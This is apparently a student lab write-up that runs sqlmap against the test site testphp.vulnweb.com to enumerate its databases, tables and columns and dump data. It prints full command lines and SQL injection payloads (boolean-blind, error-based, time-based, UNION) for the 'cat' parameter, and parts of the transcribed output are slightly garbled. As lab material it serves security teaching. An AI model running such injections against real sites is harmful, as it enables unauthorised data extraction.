

Q-2) Find Database detail of the targeted site.

```
200420116059@kali:~$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --db
[1.6.9#stable]
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage ca
sed by this program

[*] starting @ 06:22:59 /2022-11-16/

[06:23:04] [INFO] resuming back-end DBMS 'mysql'
[06:23:04] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:
--
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 2200=2200

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71627a71,(SELECT (ELT(2213=2213,1))),0x71706b6a71),2213)

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: cat=1 AND (SELECT 3767 FROM (SELECT(SLEEP(5)))VbGj)

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT CONCAT(0x71627a71,0x4a4745764c65426852635a5071797276547a57706e636866f6448615241574c6341726d55784569
1,0x71706b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

[06:23:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[06:23:09] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[06:23:12] [INFO] fetched data logged to text files under '/home/DIVYESH/.local/share/sqlmap/output/testphp.vulnweb.com'
```

Q-3) Find Table details of the targeted site.

```
200420116059@kali:~$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

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sed by this program

[*] starting @ 06:26:10 /2022-11-16/

[06:26:14] [INFO] resuming back-end DBMS 'mysql'
[06:26:14] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 2200=2200

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71627a7a71,(SELECT (ELT(2213=2213,1))),0x71706b6a71),2213)

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: cat=1 AND (SELECT 3767 FROM (SELECT(SLEEP(5)))VbGj)

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT CONCAT(0x71627a7a71,0x4a4745764c65426852635a5071797276547a57706e63686f6448615241574c6341726d557845694
1,0x71706b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

[06:26:18] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
[06:26:18] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----+
| artists |
| carts   |
| categ   |
| featured|
| guestbook|
| pictures|
| products|
| users   |
+-----+

[06:26:21] [INFO] fetched data logged to text files under '/home/DIVYESH/.local/share/sqlmap/output/testphp.vulnweb.com'
```

Q-4) Find Column details for the tables.

```
[*] ending @ 06:28:21 /2022-11-16/
200420116059@kali:~$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists --column
{1.6.9#stable}
https://sqlmap.org

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sed by this program

[*] starting @ 06:28:43 /2022-11-16/

[06:29:03] [INFO] resuming back-end DBMS 'mysql'
[06:29:03] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 2200=2200

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71627a71,(SELECT (ELT(2213=2213,1))),0x71706b6a71),2213)

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: cat=1 AND (SELECT 3767 FROM (SELECT(SLEEP(5)))VbGj)

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT CONCAT(0x71627a71,0x4a4745764c65426852635a5071797276547a57706e63686f6448615241574c6341726d557845694
1,0x71706b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL -- -
---
```

```
[06:29:09] [INFO] fetching columns for table 'artists' of database 'acuart'
Database: acuart
Table: artists
[3 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| adesc  | text |
| aname  | varchar(50) |
| artist_id | int |
+-----+-----+

[06:29:19] [INFO] fetched data logged to text files under '/home/DIVYESH/.local/share/sqlmap/output/testphp.vulnweb.com'
```

Q-5) Find actual data for the given site.

```
0420116059@kali:~$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname -dump

{1.6.9#stable}
https://sqlmap.org

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used by this program

starting @ 06:31:28 /2022-11-16/

:31:42] [INFO] resuming back-end DBMS 'mysql'
:31:42] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 2200=2200

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71627a71,(SELECT (ELT(2213=2213,1))),0x71706b6a71),2213)

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: cat=1 AND (SELECT 3767 FROM (SELECT(SLEEP(5)))VbGj)

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT CONCAT(0x71627a71,0x4a4745764c65426852635a5071797276547a57706e63686f6448615241574c6341726d55784569
0x71706b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

[06:34:16] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[06:34:22] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
which common columns (wordlist) file do you want to use?
[1] default '/usr/share/sqlmap/data/txt/common-columns.txt' (press Enter)
[2] custom
>
[06:34:34] [INFO] checking column existence using items from '/usr/share/sqlmap/data/txt/common-columns.txt'
[06:34:34] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)]
[06:34:35] [WARNING] running in a single-thread mode. This could take a while

[06:34:41] [INFO] tried 6/2713 items (0%)
[06:34:43] [INFO] tried 10/2713 items (0%)
[06:34:44] [INFO] tried 12/2713 items (0%)
[06:34:44] [INFO] tried 13/2713 items (0%)
```